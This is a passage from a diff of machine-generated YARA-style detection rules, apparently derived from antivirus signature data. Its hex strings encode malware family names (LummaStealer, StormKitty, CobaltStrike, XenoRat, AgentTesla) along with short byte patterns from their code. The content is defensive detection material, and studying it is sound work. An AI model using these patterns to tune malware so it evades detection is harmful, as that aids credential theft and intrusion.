{3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 4b 69 6c 6c 41 56 00 01 00 0a 01 00 52 65 76 65 72 73 65 72 00 01 00 05 01 00 45 4e 43 00 01 00 0f 01 00 53 4e 50 65 72 73 69 73 74 65 6e 63 65 00 01 00 06 01 00 4d 65 6c 74 00 00 00 78 55 00 00 05 00 05 00 01 00 } //18467 - $a_4c_1 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 6f 72 6d 4b 69 74 74 79 2e 45 41 50 51 21 4d 54 42 00 05 00 23 01 09 11 04 06 11 04 8f 12 00 00 01 72 37 49 00 70 28 61 01 00 0a a2 11 04 17 58 13 04 } //8993 - $a_07_2 = {6e 32 dd 00 00 78 55 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 6c 65 67 61 2e 45 41 4e 58 21 4d 54 42 00 05 00 25 02 b1 09 f6 d0 32 c2 2a c8 80 f1 c6 2a ca d0 c9 80 f1 8e f6 d9 80 f1 a8 88 8a 90 01 04 42 81 fa 05 50 00 00 90 00 00 00 78 55 00 00 09 00 09 00 03 00 21 23 } //1041 - $a_66_3 = {3a 48 53 54 52 3a 57 69 6e 33 32 2f 50 61 74 6a 75 00 03 00 07 01 26 61 6d 5f 69 64 3d 03 00 0a 01 74 61 6f 62 61 6f 2e 63 6f 6d 05 00 17 01 68 74 74 70 3a 2f 2f 6a 75 2e 61 74 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 00 00 78 55 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 47 54 58 21 4d 54 42 00 0a 00 27 } //28492 + $a_54_0 = {3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 4b 69 6c 6c 41 56 00 01 00 0a 01 00 52 65 76 65 72 73 65 72 00 01 00 05 01 00 45 4e 43 00 01 00 0f 01 00 53 4e 50 65 72 73 69 73 74 65 6e 63 65 00 01 00 06 01 00 4d 65 6c 74 00 00 00 78 55 00 00 09 00 09 00 03 00 } //18467 + $a_6f_1 = {66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 50 61 74 6a 75 00 03 00 07 01 26 61 6d 5f 69 64 3d 03 00 0a 01 74 61 6f 62 61 6f 2e 63 6f 6d 05 00 17 01 68 74 74 70 3a 2f 2f 6a 75 2e 61 74 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 00 00 78 55 } //8993 + $a_00_2 = {0a 00 01 00 21 23 54 45 4c 3a } //0 + $a_6a_3 = {6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 41 47 21 4d 54 42 00 0a 00 21 01 0f b6 0c 1e 01 c1 0f b6 c1 48 8b 4d a8 8a 04 01 48 63 4d f4 41 30 04 0c 8b 45 f4 83 c0 01 89 45 e0 00 00 78 55 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 72 6d 69 78 69 61 2e 4d 52 21 4d 54 } //29268 condition: - ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*8993+(#a_07_2 & 1)*1041+(#a_66_3 & 1)*28492) >=4 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8993+(#a_00_2 & 1)*0+(#a_6a_3 & 1)*29268) >=4 } -rule _InfrastructureShared_4222{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 6f 72 6d 4b 69 74 74 79 2e 45 41 50 51 21 4d 54 42 00 05 00 23 01 09 11 04 06 11 04 8f 12 00 00 01 72 37 49 00 70 28 61 01 00 0a a2 11 04 17 58 13 04 11 04 6a 07 6e 32 dd 00 00 78 55 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_4223{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 6c 65 67 61 2e 45 41 4e 58 21 4d 54 42 00 05 00 25 02 b1 09 f6 d0 32 c2 2a c8 80 f1 c6 2a ca d0 c9 80 f1 8e f6 d9 80 f1 a8 88 8a 90 01 04 42 81 fa 05 50 00 00 90 00 00 00 78 55 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_4224{ +rule _InfrastructureShared_4380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 21 " strings : - $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 50 61 74 6a 75 00 03 00 07 01 26 61 6d 5f 69 64 3d 03 00 0a 01 74 61 6f 62 61 6f 2e 63 6f 6d 05 00 17 01 68 74 74 70 3a 2f 2f 6a 75 2e 61 74 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 00 00 78 55 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 47 54 } //19491 - $a_54_1 = {00 0a 00 27 03 41 88 d1 41 80 e1 90 01 01 44 20 ee 88 5d b4 80 e3 90 01 01 45 20 ee 41 08 f1 44 08 f3 41 30 d9 8a 5d b4 08 da 90 00 00 00 78 55 00 00 14 00 14 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 } //8536 - $a_54_2 = {73 6c 61 2e 41 4d 44 49 59 31 21 4d 54 42 00 0a 00 10 03 00 02 03 17 58 7e 90 01 01 00 00 04 5d 91 90 00 0a 00 0c 03 00 00 04 03 04 5d 90 01 05 61 90 00 00 00 78 55 00 00 14 00 14 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4a 32 21 4d 54 42 00 0a 00 19 02 03 4d 08 8b 15 90 01 04 03 55 08 8a 82 } //28261 + $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 50 61 74 6a 75 00 03 00 07 01 26 61 6d 5f 69 64 3d 03 00 0a 01 74 61 6f 62 61 6f 2e 63 6f 6d 05 00 17 01 68 74 74 70 3a 2f 2f 6a 75 2e 61 74 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 00 00 78 55 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 } //19491 + $a_2e_1 = {41 47 21 4d 54 42 00 0a 00 21 01 0f b6 0c 1e 01 c1 0f b6 c1 48 8b 4d a8 8a 04 01 48 63 4d f4 41 30 04 0c 8b 45 f4 83 c0 01 89 45 e0 00 00 78 55 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 72 6d 69 78 69 61 2e 4d 52 21 4d 54 42 00 0a 00 14 01 b0 33 01 9f df 7a 11 d3 54 3b 31 b5 5b 44 33 d3 54 3b 79 } //25964 condition: - ((#a_77_0 & 1)*19491+(#a_54_1 & 1)*8536+(#a_54_2 & 1)*28261) >=9 + ((#a_77_0 & 1)*19491+(#a_2e_1 & 1)*25964) >=9 } -rule _InfrastructureShared_4225{ +rule _InfrastructureShared_4381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 47 54 58 21 4d 54 42 00 0a 00 27 03 41 88 d1 41 80 e1 90 01 01 44 20 ee 88 5d b4 80 e3 90 01 01 45 20 ee 41 08 f1 44 08 f3 41 30 d9 8a 5d b4 08 da 90 00 00 00 78 55 00 } //16675 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 41 47 21 4d 54 42 00 0a 00 21 01 0f b6 0c 1e 01 c1 0f b6 c1 48 8b 4d a8 8a 04 01 48 63 4d f4 41 30 04 0c 8b 45 f4 83 c0 01 89 } //21539 condition: - ((#a_46_0 & 1)*16675) >=10 + ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_4226{ +rule _InfrastructureShared_4382{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 72 6d 69 78 69 61 2e 4d 52 21 4d 54 42 00 0a 00 14 01 b0 33 01 9f df 7a 11 d3 54 3b 31 b5 5b 44 33 d3 54 3b 79 c3 05 00 0e 01 4a 4b 34 5a 8a 07 b9 17 b6 4f 7e 53 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=15 + +} +rule _InfrastructureShared_4383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -43686,7 +45303,7 @@ rule _InfrastructureShared_4226{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8993) >=20 } -rule _InfrastructureShared_4227{ +rule _InfrastructureShared_4384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -43697,7 +45314,7 @@ rule _InfrastructureShared_4227{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*8993) >=20 } -rule _InfrastructureShared_4228{ +rule _InfrastructureShared_4385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -43707,7 +45324,7 @@ rule _InfrastructureShared_4228{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4229{ +rule _InfrastructureShared_4386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -43717,7 +45334,7 @@ rule _InfrastructureShared_4229{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4230{ +rule _InfrastructureShared_4387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -43728,7 +45345,7 @@ rule _InfrastructureShared_4230{ ((#a_77_0 & 1)*19491+(#a_68_1 & 1)*8517) >=100 } -rule _InfrastructureShared_4231{ +rule _InfrastructureShared_4388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43738,7 +45355,7 @@ rule _InfrastructureShared_4231{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4232{ +rule _InfrastructureShared_4389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43748,7 +45365,7 @@ rule _InfrastructureShared_4232{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4233{ +rule _InfrastructureShared_4390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43758,7 +45375,7 @@ rule _InfrastructureShared_4233{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4234{ +rule _InfrastructureShared_4391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43768,7 +45385,7 @@ rule _InfrastructureShared_4234{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4235{ +rule _InfrastructureShared_4392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43778,7 +45395,7 @@ rule _InfrastructureShared_4235{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4236{ +rule _InfrastructureShared_4393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43788,7 +45405,7 @@ rule _InfrastructureShared_4236{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4237{ +rule _InfrastructureShared_4394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43798,7 +45415,7 @@ rule _InfrastructureShared_4237{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4238{ +rule _InfrastructureShared_4395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43808,7 +45425,7 @@ rule _InfrastructureShared_4238{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4239{ +rule _InfrastructureShared_4396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43818,7 +45435,7 @@ rule _InfrastructureShared_4239{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4240{ +rule _InfrastructureShared_4397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43828,7 +45445,7 @@ rule _InfrastructureShared_4240{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4241{ +rule _InfrastructureShared_4398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43838,7 +45455,7 @@ rule _InfrastructureShared_4241{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4242{ +rule _InfrastructureShared_4399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43848,7 +45465,7 @@ rule _InfrastructureShared_4242{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4243{ +rule _InfrastructureShared_4400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43858,7 +45475,7 @@ rule _InfrastructureShared_4243{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4244{ +rule _InfrastructureShared_4401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43868,7 +45485,7 @@ rule _InfrastructureShared_4244{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4245{ +rule _InfrastructureShared_4402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43878,7 +45495,7 @@ rule _InfrastructureShared_4245{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4246{ +rule _InfrastructureShared_4403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43888,7 +45505,7 @@ rule _InfrastructureShared_4246{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4247{ +rule _InfrastructureShared_4404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43898,7 +45515,7 @@ rule _InfrastructureShared_4247{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4248{ +rule _InfrastructureShared_4405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43908,7 +45525,7 @@ rule _InfrastructureShared_4248{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4249{ +rule _InfrastructureShared_4406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43918,7 +45535,7 @@ rule _InfrastructureShared_4249{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4250{ +rule _InfrastructureShared_4407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43928,7 +45545,7 @@ rule _InfrastructureShared_4250{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4251{ +rule _InfrastructureShared_4408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43938,7 +45555,7 @@ rule _InfrastructureShared_4251{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4252{ +rule _InfrastructureShared_4409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43948,7 +45565,7 @@ rule _InfrastructureShared_4252{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4253{ +rule _InfrastructureShared_4410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43958,7 +45575,7 @@ rule _InfrastructureShared_4253{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4254{ +rule _InfrastructureShared_4411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43968,7 +45585,7 @@ rule _InfrastructureShared_4254{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4255{ +rule _InfrastructureShared_4412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43978,7 +45595,7 @@ rule _InfrastructureShared_4255{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4256{ +rule _InfrastructureShared_4413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43988,7 +45605,7 @@ rule _InfrastructureShared_4256{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4257{ +rule _InfrastructureShared_4414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -43998,7 +45615,7 @@ rule _InfrastructureShared_4257{ ((#a_44_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4258{ +rule _InfrastructureShared_4415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44008,7 +45625,7 @@ rule _InfrastructureShared_4258{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4259{ +rule _InfrastructureShared_4416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44018,7 +45635,7 @@ rule _InfrastructureShared_4259{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4260{ +rule _InfrastructureShared_4417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44028,7 +45645,7 @@ rule _InfrastructureShared_4260{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4261{ +rule _InfrastructureShared_4418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44038,7 +45655,7 @@ rule _InfrastructureShared_4261{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4262{ +rule _InfrastructureShared_4419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44048,7 +45665,7 @@ rule _InfrastructureShared_4262{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4263{ +rule _InfrastructureShared_4420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44058,7 +45675,7 @@ rule _InfrastructureShared_4263{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4264{ +rule _InfrastructureShared_4421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44068,7 +45685,7 @@ rule _InfrastructureShared_4264{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4265{ +rule _InfrastructureShared_4422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44078,7 +45695,7 @@ rule _InfrastructureShared_4265{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4266{ +rule _InfrastructureShared_4423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44088,7 +45705,27 @@ rule _InfrastructureShared_4266{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4267{ +rule _InfrastructureShared_4424{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 44 21 4d 54 42 00 01 00 26 03 01 25 16 12 03 28 90 01 01 00 00 0a 9c 25 17 12 03 28 90 01 01 00 00 0a 9c 25 18 12 03 28 90 01 01 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4425{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 59 21 4d 54 42 00 01 00 26 01 7e fe 02 00 04 20 6a 59 81 05 20 06 00 00 00 63 20 05 00 00 00 62 20 a0 ac c0 02 61 7d df 02 00 04 20 2c } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44098,7 +45735,27 @@ rule _InfrastructureShared_4267{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4268{ +rule _InfrastructureShared_4427{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 73 69 6c 69 61 2e 41 42 21 4d 54 42 00 01 00 28 01 fe 0c 1a 00 20 2e 22 eb 4e 20 06 9d 10 15 61 20 01 00 00 00 63 20 f6 c4 88 f2 58 65 20 59 5b 79 df 61 61 fe 0e } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4428{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 65 6e 6f 52 61 74 2e 53 54 55 21 4d 54 42 00 01 00 28 01 60 7e 03 00 00 04 02 1d 58 91 1f 18 62 60 13 05 d0 02 00 00 1b 28 1a 00 00 0a 6f 49 00 00 0a 11 05 28 4a 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44108,17 +45765,7 @@ rule _InfrastructureShared_4268{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4269{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 21 4d 54 42 00 01 00 29 01 0f b6 4d ff 8b f0 0f b6 45 fa 51 0f b6 4d fe 51 0f b6 4d fd 51 0f b6 4d fc 51 0f b6 4d fb 51 50 0f b6 45 f9 50 0f } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_4270{ +rule _InfrastructureShared_4430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44128,7 +45775,27 @@ rule _InfrastructureShared_4270{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4271{ +rule _InfrastructureShared_4431{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 42 4e 4e 21 4d 54 42 00 01 00 22 03 86 c8 b3 69 1d 90 01 04 a4 90 01 02 44 a4 a3 90 01 08 71 90 01 01 21 22 66 32 9a 90 01 04 fa } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4432{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 53 51 21 4d 54 42 00 01 00 23 03 48 89 c2 83 e0 90 01 01 4c 21 c2 0f b6 44 04 90 01 01 30 04 13 48 8d 42 90 01 01 83 e9 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44138,7 +45805,7 @@ rule _InfrastructureShared_4271{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4272{ +rule _InfrastructureShared_4434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44148,7 +45815,7 @@ rule _InfrastructureShared_4272{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4273{ +rule _InfrastructureShared_4435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -44159,7 +45826,7 @@ rule _InfrastructureShared_4273{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=1 } -rule _InfrastructureShared_4274{ +rule _InfrastructureShared_4436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -44170,7 +45837,7 @@ rule _InfrastructureShared_4274{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=1 } -rule _InfrastructureShared_4275{ +rule _InfrastructureShared_4437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -44181,7 +45848,7 @@ rule _InfrastructureShared_4275{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=1 } -rule _InfrastructureShared_4276{ +rule _InfrastructureShared_4438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -44192,7 +45859,7 @@ rule _InfrastructureShared_4276{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=1 } -rule _InfrastructureShared_4277{ +rule _InfrastructureShared_4439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -44203,7 +45870,7 @@ rule _InfrastructureShared_4277{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=1 } -rule _InfrastructureShared_4278{ +rule _InfrastructureShared_4440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -44214,7 +45881,7 @@ rule _InfrastructureShared_4278{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=1 } -rule _InfrastructureShared_4279{ +rule _InfrastructureShared_4441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -44224,17 +45891,47 @@ rule _InfrastructureShared_4279{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4280{ +rule _InfrastructureShared_4442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 41 52 41 5a 21 4d 54 42 00 02 00 28 03 68 cc 8a 40 00 68 88 8a 40 00 6a 00 6a 00 6a 04 6a 00 6a 00 6a 00 a1 90 01 04 e8 90 01 04 50 6a 00 e8 00 e1 ff ff 90 00 00 00 78 56 00 00 02 00 02 00 02 } //18467 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 41 52 41 5a 21 4d 54 42 00 02 00 28 03 68 cc 8a 40 00 68 88 8a 40 00 6a 00 6a 00 6a 04 6a 00 6a 00 6a 00 a1 90 01 04 e8 90 01 04 50 6a 00 e8 00 e1 ff ff 90 00 00 00 78 56 00 00 02 00 02 00 01 } //18467 condition: ((#a_54_0 & 1)*18467) >=2 } -rule 